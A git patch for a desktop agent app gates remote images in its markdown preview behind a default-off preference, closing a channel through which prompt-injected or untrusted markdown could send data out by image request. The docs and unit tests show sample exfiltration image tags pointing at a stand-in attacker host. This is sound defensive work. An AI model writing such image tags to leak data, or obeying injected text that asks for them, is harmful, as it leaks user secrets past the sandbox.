From b3458f955f0d3346c3c653afe571ee40f92e90b7 Mon Sep 17 00:00:00 2001 From: Adam Matan Date: Sat, 11 Jul 2026 00:18:15 -0400 Subject: [PATCH] feat: gate remote images in markdown preview behind a default-off pref (#69) The markdown preview used to render any ![](https://...) image directly, which meant an unprompted GET could fire to whatever host untrusted content named the moment a file was previewed - prompt injection, a dependency's README, a contributor's fork - since the webview sits outside the seatbelt + CONNECT proxy cage. Accepted as a known gap in bca4e13, tracked for closing in #69. This gates that hydration behind a default-off pref, with two escape hatches. gateRemoteImages() in MarkdownPreview.tsx now intercepts every http(s) src before it ever reaches the DOM's src attribute, so the browser never issues the request when blocked. Gated on prefs.loadRemoteImages (a new pref, default OFF) or a per-tab remoteImagesUnblocked override. The CSP itself is unchanged (still allows https: in img-src) - this is a renderer gate, not a CSP tweak, since Tauri's CSP is one whole-webview policy that can't scope to a single component. Two escape hatches, surfaced as a banner in the preview: "Show images" unblocks just the open document, session-only (dies with the tab, like mdView's per-tab override). "Always" flips the global pref - the same banner swaps its text/action in place to a "Settings" link, which opens Settings, lands on General, and auto-scrolls to + briefly highlights the toggle. Also fixes a bug caught during manual testing: openPreviewTab's "recycle this preview tab into a different file" path carried remoteImagesUnblocked over from whichever file was previously shown in that tab slot, silently unblocking images in a file the user never approved. Reset alongside the existing reveal-target reset. Covered by unit tests (gateRemoteImages, remoteImageBannerKind, the openPreviewTab recycle-reset, prefs.loadRemoteImages) and a live e2e pass driving the real app through all four flows. Co-Authored-By: Claude Sonnet 5 --- docs/sandbox.md | 41 ++--- src/components/settings/GeneralSection.tsx | 36 +++++ src/components/task/MarkdownPane.tsx | 18 +++ src/components/task/MarkdownPreview.test.ts | 71 +++++++- src/components/task/MarkdownPreview.tsx | 160 ++++++++++++++++--- src/components/task/TerminalExitedBanner.tsx | 11 +- src/lib/types.ts | 6 + src/store/app.test.ts | 48 ++++++ src/store/app.ts | 21 ++- src/store/prefs.test.ts | 64 ++++++++ src/store/prefs.ts | 18 +++ 11 files changed, 450 insertions(+), 44 deletions(-) create mode 100644 src/store/prefs.test.ts diff --git a/docs/sandbox.md b/docs/sandbox.md index 9a93a3b..ea87ad0 100644 --- a/docs/sandbox.md +++ b/docs/sandbox.md @@ -33,29 +33,34 @@ The seatbelt + CONNECT proxy cage the **agent process**. They do not cage the **webview**, which makes its own network requests as the app itself. Anything the webview can be made to fetch is egress the proxy allowlist never sees. -There is one such path today, accepted deliberately (#65): `img-src` in -`tauri.conf.json` allows any `https:` origin, so the markdown preview renders -remote images. Previewing +There was one such path (#65): `img-src` in `tauri.conf.json` allows any +`https:` origin, so the markdown preview could render remote images. +Previewing ```markdown ![](https://attacker.example/x.png?d=) ``` -fires a GET to an arbitrary host on render, with no click and no prompt, even -when the workspace is in `Enforce` and the agent itself cannot reach that host. - -The realistic trigger is not a scheming agent, it is **prompt injection plus -untrusted markdown**. An agent reads a dependency's README, a GitHub issue, or a -fetched page, and that text tells it to write the image tag. The same applies to -markdown the agent never touched: a contributor's fork, a submodule, a vendored -package. Only a GET is possible (no script: `script-src 'self'`, markdown-it runs -with `html:false` and blocks `javascript:`), so the payload is limited to what -the markdown's author can encode in a URL, plus the viewer's IP, user-agent, and -timing. GitHub and VS Code make the same tradeoff for their previews. - -If this ever needs closing, the shape is a default-off "load remote images" -preference gating hydration (tracked in #69), not a CSP tweak: Tauri's CSP is -one policy for the whole webview and cannot be scoped to a component. +used to fire a GET to an arbitrary host on render, with no click and no +prompt, even when the task is in `Enforce` and the agent itself cannot reach +that host. + +The realistic trigger was never a scheming agent, it's **prompt injection +plus untrusted markdown**. An agent reads a dependency's README, a GitHub +issue, or a fetched page, and that text tells it to write the image tag. The +same applies to markdown the agent never touched: a contributor's fork, a +submodule, a vendored package. Only a GET was ever possible (no script: +`script-src 'self'`, markdown-it runs with `html:false` and blocks +`javascript:`), so the payload was limited to what the markdown's author +could encode in a URL, plus the viewer's IP, user-agent, and timing. GitHub +and VS Code make the same tradeoff for their previews, but not on by default. + +Closed in #69: `gateRemoteImages()` in `MarkdownPreview.tsx` intercepts every +`http(s):` `` src before it ever reaches the DOM's `src` attribute, +gated on a default-OFF `loadRemoteImages` pref (Settings → General) or a +per-tab override set from the preview's own "blocked images" banner. The CSP +itself is unchanged, still allows `https:` in `img-src` — this is a renderer +gate, not a CSP tweak, per the note below. **Before widening the CSP again, remember it is app-wide.** `connect-src` or `script-src` would be materially worse than `img-src` is. diff --git a/src/components/settings/GeneralSection.tsx b/src/components/settings/GeneralSection.tsx index 3dfeb1a..bf6ff46 100644 --- a/src/components/settings/GeneralSection.tsx +++ b/src/components/settings/GeneralSection.tsx @@ -46,6 +46,8 @@ export function GeneralSection() { const setSettledHighlight = usePrefs(s => s.setSettledHighlight); const workingIndicator = usePrefs(s => s.workingIndicator); const setWorkingIndicator = usePrefs(s => s.setWorkingIndicator); + const loadRemoteImages = usePrefs(s => s.loadRemoteImages); + const setLoadRemoteImages = usePrefs(s => s.setLoadRemoteImages); const globalDefaultSandbox = usePrefs(s => s.globalDefaultSandbox); const setGlobalDefaultSandbox = usePrefs(s => s.setGlobalDefaultSandbox); const sandboxBypassPermissions = usePrefs(s => s.sandboxBypassPermissions); @@ -59,6 +61,25 @@ export function GeneralSection() { const terminalCopyOnSelect = usePrefs(s => s.terminalCopyOnSelect); const setTerminalCopyOnSelect = usePrefs(s => s.setTerminalCopyOnSelect); + // Scroll-to-and-flash a specific row (e.g. the remote-images banner's + // "Settings" link) once, on mount — see view.settingsHighlight. Consumed + // immediately so a later manual visit to General doesn't re-trigger it, + // and cleared after a beat regardless (a fresh Settings mount from a + // stale link a minute later shouldn't re-flash something the user is + // already looking at). + const settingsHighlight = useApp(s => s.view.settingsHighlight); + const [flashId, setFlashId] = useState(null); + useEffect(() => { + if (!settingsHighlight) return; + const id = settingsHighlight; + useApp.getState().clearSettingsHighlight(); + document.getElementById(`setting-${id}`)?.scrollIntoView({ behavior: "smooth", block: "center" }); + setFlashId(id); + const t = window.setTimeout(() => setFlashId(f => (f === id ? null : f)), 1600); + return () => window.clearTimeout(t); + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [settingsHighlight]); + useEffect(() => { settingsLoad().then(s => { setSettings(s); @@ -222,6 +243,21 @@ export function GeneralSection() { /> +
+ +
+
s.loadRemoteImages); + const remoteImagesAllowed = tab.remoteImagesUnblocked ?? loadRemoteImages; + // "Always" flips the global pref instead of just this tab's override — it + // covers every future document, not just this one. The confirmation + // (bar text + Settings link) is MarkdownPreview's own transient banner + // state, not a toast — see its onAlwaysLoadRemoteImages handling. + const alwaysLoadRemoteImages = () => usePrefs.getState().setLoadRemoteImages(true); + // Live buffer text fed from the editor's onContent. Debounced so split-mode // typing doesn't re-parse markdown + re-run mermaid on every keystroke. We // read view.state.doc lazily INSIDE the timeout, so a burst of keystrokes @@ -171,6 +183,12 @@ export function MarkdownPane({ task, tab }: { task: Task; tab: EditTab }) { revealHeading={tab.revealHeading} onRevealConsumed={() => useApp.getState().patchTab(task.id, tab.id, { revealHeading: undefined })} visible={showPreview} + remoteImagesAllowed={remoteImagesAllowed} + onUnblockRemoteImages={ + remoteImagesAllowed ? undefined + : () => useApp.getState().patchTab(task.id, tab.id, { remoteImagesUnblocked: true }) + } + onAlwaysLoadRemoteImages={remoteImagesAllowed ? undefined : alwaysLoadRemoteImages} />
diff --git a/src/components/task/MarkdownPreview.test.ts b/src/components/task/MarkdownPreview.test.ts index 48f87af..ac68fa9 100644 --- a/src/components/task/MarkdownPreview.test.ts +++ b/src/components/task/MarkdownPreview.test.ts @@ -12,8 +12,8 @@ vi.mock("@/store/ui", () => ({ useUI: { getState: vi.fn() } })); import { taskFileReadBase64 } from "@/lib/ipc"; import { - attemptReveal, captureReveal, consumeNavRevalidate, expireRevealGrace, hydrateTaskImages, IMG_CACHE_MAX_ENTRIES, - imgCacheInsert, newNavRevalidateState, newRevealState, + attemptReveal, captureReveal, consumeNavRevalidate, expireRevealGrace, gateRemoteImages, hydrateTaskImages, + IMG_CACHE_MAX_ENTRIES, imgCacheInsert, newNavRevalidateState, newRevealState, remoteImageBannerKind, type ImgCache, type MarkdownCtx, } from "./MarkdownPreview"; @@ -215,6 +215,73 @@ describe("hydrateTaskImages", () => { }); }); +describe("gateRemoteImages", () => { + beforeEach(() => { document.body.innerHTML = ""; }); + + it("blocks a remote http(s) src: never reaches the DOM's src attribute", () => { + const { host, img } = mount(``); + const blocked = gateRemoteImages(host, false); + expect(blocked).toBe(true); + expect(img.getAttribute("src")).toBeNull(); + expect(img.dataset.mdRemoteSrc).toBe("https://attacker.example/x.png?d=secret"); + }); + + it("restores a blocked src verbatim once allowed", () => { + const { host, img } = mount(``); + gateRemoteImages(host, false); + expect(img.getAttribute("src")).toBeNull(); + + const blocked = gateRemoteImages(host, true); + expect(blocked).toBe(false); + expect(img.getAttribute("src")).toBe("http://example.com/a.png"); + expect(img.dataset.mdRemoteSrc).toBeUndefined(); + }); + + it("leaves data: and blob: sources alone regardless of allowed", () => { + const { host } = mount(``); + const imgs = Array.from(host.querySelectorAll("img")); + expect(gateRemoteImages(host, false)).toBe(false); + expect(imgs[0].getAttribute("src")).toBe("data:image/png;base64,AAA"); + expect(imgs[1].getAttribute("src")).toBe("blob:x"); + }); + + it("leaves a task-relative image (already claimed by hydrateTaskImages) alone", () => { + const { host, img } = mount(``); + img.dataset.mdSrc = "a.png"; + img.removeAttribute("src"); + expect(gateRemoteImages(host, false)).toBe(false); + expect(img.dataset.mdRemoteSrc).toBeUndefined(); + }); + + it("when allowed from the start, never blocks (browser handles it natively)", () => { + const { host, img } = mount(``); + expect(gateRemoteImages(host, true)).toBe(false); + expect(img.getAttribute("src")).toBe("https://example.com/a.png"); + }); +}); + +describe("remoteImageBannerKind", () => { + it("shows nothing when there's nothing blocked and nothing to confirm", () => { + expect(remoteImageBannerKind(false, true, false)).toBeNull(); + }); + + it("shows the blocked banner when images are blocked and a per-doc override is offered", () => { + expect(remoteImageBannerKind(true, true, false)).toBe("blocked"); + }); + + it("shows nothing for a blocked doc with no per-doc override to offer (e.g. Changelog dialog)", () => { + expect(remoteImageBannerKind(true, false, false)).toBeNull(); + }); + + it("shows the confirm banner once justAllowedGlobally is set and nothing is blocked", () => { + expect(remoteImageBannerKind(false, true, true)).toBe("confirm"); + }); + + it("blocked always wins over a stale confirm, instead of showing both or flickering", () => { + expect(remoteImageBannerKind(true, true, true)).toBe("blocked"); + }); +}); + describe("imgCacheInsert entry-count cap", () => { it("bounds the cache by entry count, not just bytes (negative entries are ~0 bytes)", () => { const cache = newCache(); diff --git a/src/components/task/MarkdownPreview.tsx b/src/components/task/MarkdownPreview.tsx index 06e1787..75cee24 100644 --- a/src/components/task/MarkdownPreview.tsx +++ b/src/components/task/MarkdownPreview.tsx @@ -17,19 +17,18 @@ // (after an existence/type check — dead links and directories no longer open // blank/dead tabs). // -// Remote https images load directly (tauri.conf.json's img-src allows https:). -// This is an ACCEPTED SANDBOX GAP, not a neutral one: the webview lives outside -// the seatbelt + CONNECT proxy, so rendering `![](https://host/x.png?d=…)` -// fires a GET to an arbitrary host with no click, even when the task is in -// Enforce and the agent itself is barred from that host. The realistic trigger -// is prompt injection plus untrusted markdown (a dependency's README, a -// contributor's fork, a GitHub issue the agent read), not a scheming agent. -// Only a GET is possible: script-src is 'self', raw HTML stays disabled, and -// markdown-it's validateLink blocks javascript:, so nothing here adds a script -// execution path. GitHub and VS Code make the same call. Closing it means a -// default-off "load remote images" pref gating hydration, NOT a CSP tweak -// (Tauri's CSP is one policy for the whole webview). See docs/sandbox.md, -// "Known gap: the webview is outside the cage". +// Remote http(s) images (issue #69): tauri.conf.json's img-src still allows +// https: (the CSP is one whole-webview policy, so it can't gate just this +// component — see docs/sandbox.md, "Known gap: the webview is outside the +// cage"), but gateRemoteImages() below intercepts them BEFORE they ever hit +// an , keyed on the `remoteImagesAllowed` prop (prefs.loadRemoteImages, +// OFF by default, or a per-tab override). Blocked, the webview never fetches +// them at all: no unprompted GET to whatever host untrusted markdown names +// (prompt injection, a dependency's README, a contributor's fork). When any +// are blocked, the preview shows a banner to unblock them for this document. +// Only a GET was ever possible either way: script-src is 'self', raw HTML +// stays disabled, and markdown-it's validateLink blocks javascript:, so this +// gate closes egress, not a script-execution path. // // The rendered HTML is written into the host element IMPERATIVELY (not via // React's dangerouslySetInnerHTML). React must NOT own this subtree: mermaid @@ -44,10 +43,12 @@ import { useEffect, useRef, useState } from "react"; import MarkdownIt from "markdown-it"; import DOMPurify from "dompurify"; +import { Check, ImageOff } from "lucide-react"; import { openPath, taskFileReadBase64, taskPathStat, taskRevealPath } from "@/lib/ipc"; import { dirnamePosix, headingSlug, MARKDOWN_EXT_RE, resolveTaskHref } from "@/lib/markdownPaths"; import { useApp } from "@/store/app"; import { useUI } from "@/store/ui"; +import { TerminalExitedBanner } from "./TerminalExitedBanner"; // Monotonic id source for mermaid render targets. Math.random/Date.now are // avoided elsewhere in this codebase; a plain counter is deterministic enough. @@ -291,7 +292,7 @@ export function hydrateTaskImages( let raw = img.dataset.mdSrc; if (raw === undefined) { const src = img.getAttribute("src") || ""; - if (!src || /^(https?:|data:|blob:)/i.test(src)) continue; // remote/inline: browser handles it + if (!src || /^(https?:|data:|blob:)/i.test(src)) continue; // inline, or remote (gateRemoteImages handles those) img.dataset.mdSrc = raw = src; img.removeAttribute("src"); } @@ -311,6 +312,64 @@ export function hydrateTaskImages( } } +/** Block (or restore) remote http(s) sources in `host`, based on + * `allowed`. A blocked source is moved into `data-md-remote-src` and the + * `src` attribute removed, so the browser never issues the request; an + * allowed one is moved back onto `src` verbatim so the browser fetches it + * itself (this component does not proxy remote images, unlike task-relative + * ones — there's no IPC round-trip to gate, only whether the fetch happens + * at all). `data:`/`blob:` sources and task-relative ones (already claimed + * by `hydrateTaskImages` via `data-md-src`) are left untouched: gating only + * ever applies to an actual cross-origin network fetch. + * + * Returns true if `host` currently has at least one blocked remote image, + * so the caller can show the per-document "load images" affordance. + * Exported for tests only. */ +export function gateRemoteImages(host: HTMLElement, allowed: boolean): boolean { + let blocked = false; + for (const img of Array.from(host.querySelectorAll("img"))) { + const stashed = img.dataset.mdRemoteSrc; + if (stashed !== undefined) { + if (allowed) { + img.src = stashed; + delete img.dataset.mdRemoteSrc; + } else { + blocked = true; + } + continue; + } + if (img.dataset.mdSrc !== undefined) continue; // task-relative image + const src = img.getAttribute("src") || ""; + if (!/^https?:/i.test(src)) continue; // data:/blob:/no-src: never gated + if (allowed) continue; // browser handles it natively + img.dataset.mdRemoteSrc = src; + img.removeAttribute("src"); + blocked = true; + } + return blocked; +} + +export type RemoteImageBannerKind = "blocked" | "confirm" | null; + +/** Which remote-image banner (if any) the preview should show. "blocked" + * always wins over "confirm": if THIS render still has a blocked image + * (e.g. gateRemoteImages hasn't caught up to a just-flipped pref yet, or a + * brand-new blocked image appeared some other way), that takes priority + * over a stale "you're all set" confirmation rather than showing both or + * flickering between them. `canUnblock` mirrors the `onUnblockRemoteImages` + * prop being present (no per-document override to offer, e.g. the + * Changelog dialog, means no banner at all regardless of blocked state). + * Exported for tests only. */ +export function remoteImageBannerKind( + hasBlockedRemoteImages: boolean, + canUnblock: boolean, + justAllowedGlobally: boolean, +): RemoteImageBannerKind { + if (hasBlockedRemoteImages && canUnblock) return "blocked"; + if (justAllowedGlobally) return "confirm"; + return null; +} + /** Find a heading element by `#fragment`. markdown-it doesn't emit heading ids * (and injecting ids could collide with app DOM ids), so match headings by * GitHub-style slug of their text. Duplicate slugs are disambiguated with a @@ -469,7 +528,8 @@ export function attemptReveal(state: RevealState, host: HTMLElement | null, visi } export function MarkdownPreview( - { text, themeDark, linkify = true, ctx, revealHeading, onRevealConsumed, visible = true }: { + { text, themeDark, linkify = true, ctx, revealHeading, onRevealConsumed, visible = true, + remoteImagesAllowed = true, onUnblockRemoteImages, onAlwaysLoadRemoteImages }: { text: string; themeDark: boolean; linkify?: boolean; ctx?: MarkdownCtx; /** Pending `#fragment` to scroll to once content renders (from a * `file.md#heading` link that opened this tab). Cleared by the owner @@ -486,6 +546,22 @@ export function MarkdownPreview( * reveal effect waits for this before it will scroll. Defaults to true * for callers (the Changelog dialog) that never hide their preview. */ visible?: boolean; + /** Whether remote (http/https) images may load (issue #69). Defaults to + * true for callers with no untrusted-markdown threat model (the + * Changelog dialog renders termic's own bundled release notes). + * MarkdownPane computes this from `prefs.loadRemoteImages` and the + * tab's own `remoteImagesUnblocked` override for task-file previews. */ + remoteImagesAllowed?: boolean; + /** Present only when there's a per-document override to flip (i.e. a + * task-file preview). Invoked from the "blocked images" banner. */ + onUnblockRemoteImages?: () => void; + /** Present alongside onUnblockRemoteImages. Flips the GLOBAL pref + * instead of just this document's override — the banner's "Always" + * button. This component owns the confirmation UX itself (the banner + * swaps its own text/action in place for a few seconds, see + * justAllowedGlobally below); the callback here does nothing but + * flip the pref. */ + onAlwaysLoadRemoteImages?: () => void; }, ) { const hostRef = useRef(null); @@ -493,12 +569,27 @@ export function MarkdownPreview( if (!imgCacheRef.current) imgCacheRef.current = { map: new Map(), bytes: 0, inflight: new Map() }; const navRevalidateRef = useRef(null); if (!navRevalidateRef.current) navRevalidateRef.current = newNavRevalidateState(); + const [hasBlockedRemoteImages, setHasBlockedRemoteImages] = useState(false); + // Transient confirmation after "Always": the banner swaps its text/action + // in place (not a separate toast) and lingers a few seconds so the + // Settings pointer is actually readable, then just disappears once + // remoteImagesAllowed flips true and there's nothing left to gate. + const [justAllowedGlobally, setJustAllowedGlobally] = useState(false); + useEffect(() => { + if (!justAllowedGlobally) return; + const t = window.setTimeout(() => setJustAllowedGlobally(false), 5000); + return () => window.clearTimeout(t); + }, [justAllowedGlobally]); // Main imperative effect: parse → inject → hydrate images + mermaid. // Re-runs when the buffer text or the theme changes — deliberately NOT on // ctx.epoch: an agent settle must not rebuild the DOM or re-render mermaid // (see the epoch effect below). `alive` cancels a stale run when a newer - // one supersedes it (or on unmount) mid async-render. + // one supersedes it (or on unmount) mid async-render. Also re-runs on + // remoteImagesAllowed: flipping the pref or the per-doc override is rare + // (a settings toggle, a banner click), so a full re-render (mermaid + // included) is simpler than a third gate-only effect and not worth + // optimizing away. useEffect(() => { const host = hostRef.current; if (!host) return; @@ -511,6 +602,7 @@ export function MarkdownPreview( md.set({ linkify }); host.innerHTML = renderSanitized(text || ""); hydrateTaskImages(host, ctx, imgCacheRef.current!, { revalidatePositive: isNavigation }); + setHasBlockedRemoteImages(gateRemoteImages(host, remoteImagesAllowed)); const blocks = Array.from(host.querySelectorAll(".mermaid-block")); if (blocks.length === 0) return () => { alive = false; }; @@ -547,7 +639,7 @@ export function MarkdownPreview( })(); return () => { alive = false; }; // eslint-disable-next-line react-hooks/exhaustive-deps - }, [text, themeDark, linkify, ctx?.taskId, ctx?.filePath, ctx?.memberDirs]); + }, [text, themeDark, linkify, ctx?.taskId, ctx?.filePath, ctx?.memberDirs, remoteImagesAllowed]); // fsRevision bump = images may have changed on disk. Revalidate ONLY the // images (cached bytes stay on screen until a fresh read lands; a cheap @@ -732,9 +824,39 @@ export function MarkdownPreview( }); } + function handleAlways() { + onAlwaysLoadRemoteImages?.(); + setJustAllowedGlobally(true); + } + + const bannerKind = remoteImageBannerKind(hasBlockedRemoteImages, !!onUnblockRemoteImages, justAllowedGlobally); + return ( -
-
+
+ {bannerKind === "blocked" && onUnblockRemoteImages && ( + + )} + {bannerKind === "confirm" && ( + useApp.getState().openSettings("general", undefined, "load-remote-images")} + icon={Check} + tone="muted" + center + /> + )} +
+
+
); } diff --git a/src/components/task/TerminalExitedBanner.tsx b/src/components/task/TerminalExitedBanner.tsx index 3729dc9..fad8949 100644 --- a/src/components/task/TerminalExitedBanner.tsx +++ b/src/components/task/TerminalExitedBanner.tsx @@ -8,7 +8,7 @@ import { cn } from "@/lib/utils"; // scrollback, e.g. an error message). Render it as the first flex child of // a `flex-col` pane. Shared by the agent pane (TerminalPane) and the aux // shell (AuxTerminal) so the two can't drift. -export function TerminalExitedBanner({ label, actionLabel, onAction, icon: Icon = RotateCcw, tone = "warning", secondary, className }: { +export function TerminalExitedBanner({ label, actionLabel, onAction, icon: Icon = RotateCcw, tone = "warning", secondary, center, className }: { /** e.g. "codex exited." */ label: string; /** e.g. "Restart codex" / "New shell". */ @@ -21,6 +21,12 @@ export function TerminalExitedBanner({ label, actionLabel, onAction, icon: Icon /** Optional extra button to the RIGHT of the action (e.g. the setup-tab * auto-close countdown). */ secondary?: { label: string; onAction: () => void; icon?: LucideIcon; title?: string }; + /** Group label + buttons together in the middle of the bar instead of + * spreading them to opposite edges (justify-between). Off by default — + * the terminal-exit callers want the label pinned left, readable + * against a full-width strip. Markdown's remote-image banners opt in: + * short, single-line messages read better close to their buttons. */ + center?: boolean; className?: string; }) { const SecondaryIcon = secondary?.icon; @@ -38,7 +44,8 @@ export function TerminalExitedBanner({ label, actionLabel, onAction, icon: Icon className={cn( // Warn-tinted for dead agents; muted for managed Run/Setup tabs. // In-flow + shrink-0 so it pushes the terminal down. - "flex shrink-0 items-center justify-between gap-3 px-3 py-1.5", + "flex shrink-0 items-center gap-3 px-3 py-1.5", + center ? "justify-center" : "justify-between", className, )} > diff --git a/src/lib/types.ts b/src/lib/types.ts index 5fa8a9b..f431442 100644 --- a/src/lib/types.ts +++ b/src/lib/types.ts @@ -644,6 +644,12 @@ export interface EditTab extends BaseTab { * raw CodeMirror editor, "preview" the rendered HTML, "split" both * side-by-side. Undefined → "source". Ignored for non-markdown files. */ mdView?: "source" | "preview" | "split"; + /** Per-tab override: true unblocks remote (http/https) images in this + * document's markdown preview for the current session, without + * touching the global `loadRemoteImages` pref. Undefined falls back to + * the pref (see docs/sandbox.md, "Known gap: the webview is outside + * the cage", and MarkdownPreview.tsx). Session-only, like mdView. */ + remoteImagesUnblocked?: boolean; } export type Tab = TerminalTab | DiffTab | EditTab; diff --git a/src/store/app.test.ts b/src/store/app.test.ts index 56c53f5..c88e228 100644 --- a/src/store/app.test.ts +++ b/src/store/app.test.ts @@ -341,6 +341,25 @@ describe("openPreviewTab", () => { expect(tab.revealHeading).toBeUndefined(); }); + it("clears a per-document remoteImagesUnblocked override when the preview tab is recycled (issue #69)", () => { + // Regression: the previous file's "Show images" override must not + // silently carry over to a DIFFERENT file recycled into the same + // preview tab slot — that would unblock remote images in a file the + // user never actually approved. + const wsId = "ws1"; + const previewTab: Tab = { + id: "prev-1", type: "edit", title: "old.md", path: "docs/old.md", + preview: true, remoteImagesUnblocked: true, + } as any; + useApp.setState({ tabs: { [wsId]: [previewTab] }, activeTab: { [wsId]: "prev-1" } }); + + useApp.getState().openPreviewTab(wsId, { type: "edit", path: "docs/new.md", title: "new.md" }); + + const tab = useApp.getState().tabs[wsId][0] as any; + expect(tab.path).toBe("docs/new.md"); + expect(tab.remoteImagesUnblocked).toBeUndefined(); + }); + it("does not wipe a not-yet-consumed reveal when re-activating an existing tab without a new one", () => { // Regression: re-activating the SAME already-open file (no new reveal // target in this call) must never cancel a reveal that's already @@ -672,3 +691,32 @@ describe("setTabSessionId", () => { expect(ipc.taskSetTabSessionId).toHaveBeenCalledWith("ws1", "a", ""); }); }); + +describe("openSettings / clearSettingsHighlight", () => { + beforeEach(() => { useApp.setState({ view: { page: "dashboard" } }); }); + + it("opens to the given tab with no highlight by default", () => { + useApp.getState().openSettings("agents"); + expect(useApp.getState().view).toMatchObject({ settingsOpen: true, settingsTab: "agents", settingsHighlight: undefined }); + }); + + it("sets a highlight target for the section to consume (issue #69's Settings link)", () => { + useApp.getState().openSettings("general", undefined, "load-remote-images"); + expect(useApp.getState().view.settingsHighlight).toBe("load-remote-images"); + }); + + it("a later openSettings call without a highlight clears a previous one", () => { + // Regression: a stale highlight from an earlier "Settings" link must + // not resurface (re-flashing the wrong row) just because Settings is + // reopened normally afterwards, e.g. from the sidebar gear icon. + useApp.getState().openSettings("general", undefined, "load-remote-images"); + useApp.getState().openSettings("general"); + expect(useApp.getState().view.settingsHighlight).toBeUndefined(); + }); + + it("clearSettingsHighlight removes the highlight without closing settings or changing tab", () => { + useApp.getState().openSettings("general", undefined, "load-remote-images"); + useApp.getState().clearSettingsHighlight(); + expect(useApp.getState().view).toMatchObject({ settingsOpen: true, settingsTab: "general", settingsHighlight: undefined }); + }); +}); diff --git a/src/store/app.ts b/src/store/app.ts index a45390d..d3baa20 100644 --- a/src/store/app.ts +++ b/src/store/app.ts @@ -25,6 +25,11 @@ interface View { settingsTab?: "general" | "appearance" | "agents" | "prompts" | "repositories" | "shortcuts"; /** When viewing a repository's settings, which project id is active. */ settingsRepoId?: string; + /** DOM id to scroll into view + briefly highlight once the settings + * section mounts (e.g. a banner's "Settings" link pointing at the exact + * toggle it changed). Consumed and cleared by the section itself on + * mount, so a later manual visit to the same tab doesn't re-trigger it. */ + settingsHighlight?: string; } export interface AppState { @@ -109,8 +114,9 @@ export interface AppState { refreshClis: () => Promise; setActiveTask: (id: string | null) => void; setView: (page: View["page"]) => void; - openSettings: (tab?: View["settingsTab"], repoId?: string) => void; + openSettings: (tab?: View["settingsTab"], repoId?: string, highlight?: string) => void; closeSettings: () => void; + clearSettingsHighlight: () => void; toggleCompactSidebar: () => void; toggleRightPanel: () => void; /** Request the "All files" tree reveal a path: un-hides the right panel and @@ -479,10 +485,12 @@ export const useApp = create((set, get) => ({ // z-40 overlay (App.tsx). Preserving the underlying state means closing // Settings drops the user back into the exact task + tab they were // in, terminals still running, no context lost. - openSettings: (tab = "general", repoId) => - set(s => ({ view: { ...s.view, settingsTab: tab, settingsRepoId: repoId, settingsOpen: true } as View })), + openSettings: (tab = "general", repoId, highlight) => + set(s => ({ view: { ...s.view, settingsTab: tab, settingsRepoId: repoId, settingsOpen: true, settingsHighlight: highlight } as View })), closeSettings: () => set(s => ({ view: { ...s.view, settingsOpen: false } as View })), + clearSettingsHighlight: () => + set(s => ({ view: { ...s.view, settingsHighlight: undefined } as View })), toggleCompactSidebar: () => set(s => { const next = !s.compactSidebar; @@ -1616,9 +1624,16 @@ export const useApp = create((set, get) => ({ // reused for another file that happens to contain that heading). Applied // unconditionally by the two "recycle this preview tab" branches below, // where the file identity itself is changing. + // + // remoteImagesUnblocked rides along here for the same reason, but it's + // NOT just reveal-target hygiene: it's a per-document trust decision + // (issue #69), and letting it survive a recycle would silently unblock + // remote images in a file the user never actually approved, just + // because a PREVIOUS file shown in this same tab slot was unblocked. const revealPatch = { revealAt: data.type === "edit" ? data.revealAt : undefined, revealHeading: data.type === "edit" ? data.revealHeading : undefined, + remoteImagesUnblocked: undefined as boolean | undefined, }; // Used instead by the "already open, same file" branches: only a field // the caller explicitly supplied is ever applied. Unlike the recycle diff --git a/src/store/prefs.test.ts b/src/store/prefs.test.ts new file mode 100644 index 0000000..0fb44b2 --- /dev/null +++ b/src/store/prefs.test.ts @@ -0,0 +1,64 @@ +// @vitest-environment happy-dom +// loadRemoteImages (issue #69) is computed from localStorage once at module +// load, so its default-value behavior can only be observed with a FRESH +// module instance per scenario — vi.resetModules() + a dynamic import. +// +// Two things need stubbing before that import can succeed at all, both +// pre-existing and unrelated to loadRemoteImages itself: +// - localStorage: Node's own experimental global `localStorage` (present +// without a DOM environment, and seemingly winning out over happy-dom's +// in this vitest setup too) throws/warns without `--localstorage-file`, +// so neither the plain "node" nor "happy-dom" environment gives a +// working one here. A fake Map-backed one is stubbed directly instead. +// - document.fonts: prefs.ts calls terminalFontsSettled() unconditionally +// at module load (warms the terminal font faces at startup) which reads +// document.fonts — the CSS Font Loading API, which happy-dom doesn't +// implement. Stubbed as a no-op so the import doesn't throw. +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; + +const LS_KEY = "loadRemoteImages"; + +function fakeLocalStorage() { + const store = new Map(); + return { + getItem: (k: string) => (store.has(k) ? store.get(k)! : null), + setItem: (k: string, v: string) => { store.set(k, v); }, + removeItem: (k: string) => { store.delete(k); }, + clear: () => { store.clear(); }, + }; +} + +describe("prefs: loadRemoteImages", () => { + beforeEach(() => { + vi.stubGlobal("localStorage", fakeLocalStorage()); + (document as any).fonts = { load: () => Promise.resolve(), ready: Promise.resolve() }; + vi.resetModules(); + }); + afterEach(() => { vi.unstubAllGlobals(); }); + + it("defaults to false with nothing in localStorage", async () => { + const { usePrefs } = await import("./prefs"); + expect(usePrefs.getState().loadRemoteImages).toBe(false); + }); + + it("picks up a persisted true value as the initial state on load", async () => { + localStorage.setItem(LS_KEY, "1"); + const { usePrefs } = await import("./prefs"); + expect(usePrefs.getState().loadRemoteImages).toBe(true); + }); + + it("setLoadRemoteImages(true) updates state and persists it", async () => { + const { usePrefs } = await import("./prefs"); + usePrefs.getState().setLoadRemoteImages(true); + expect(usePrefs.getState().loadRemoteImages).toBe(true); + expect(localStorage.getItem(LS_KEY)).toBe("1"); + }); + + it("setLoadRemoteImages(false) updates state and persists it", async () => { + localStorage.setItem(LS_KEY, "1"); + const { usePrefs } = await import("./prefs"); + usePrefs.getState().setLoadRemoteImages(false); + expect(usePrefs.getState().loadRemoteImages).toBe(false); + expect(localStorage.getItem(LS_KEY)).toBe("0"); + }); +}); diff --git a/src/store/prefs.ts b/src/store/prefs.ts index 324e71a..8a6cf07 100644 --- a/src/store/prefs.ts +++ b/src/store/prefs.ts @@ -45,6 +45,7 @@ const LS_TERMINAL_COPY_ON_SELECT = "terminalCopyOnSelect"; const LS_TASK_EXPAND_MODE = "taskExpandMode"; const LS_HIDE_INACTIVE_PROJECTS = "hideInactiveProjects"; const LS_MD_VIEW = "markdownDefaultView"; +const LS_LOAD_REMOTE_IMAGES = "loadRemoteImages"; const LS_BRANCH_PREFIX = "branchPrefix"; const LS_QUEUE_MIN_INTERVAL = 